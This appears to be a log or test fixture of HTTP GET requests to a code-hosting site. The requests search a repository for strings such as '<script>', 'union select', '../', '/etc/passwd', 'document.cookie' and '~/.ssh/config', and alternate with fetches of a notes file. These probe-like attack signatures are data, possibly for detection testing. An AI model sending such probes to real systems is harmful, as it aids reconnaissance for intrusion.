+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
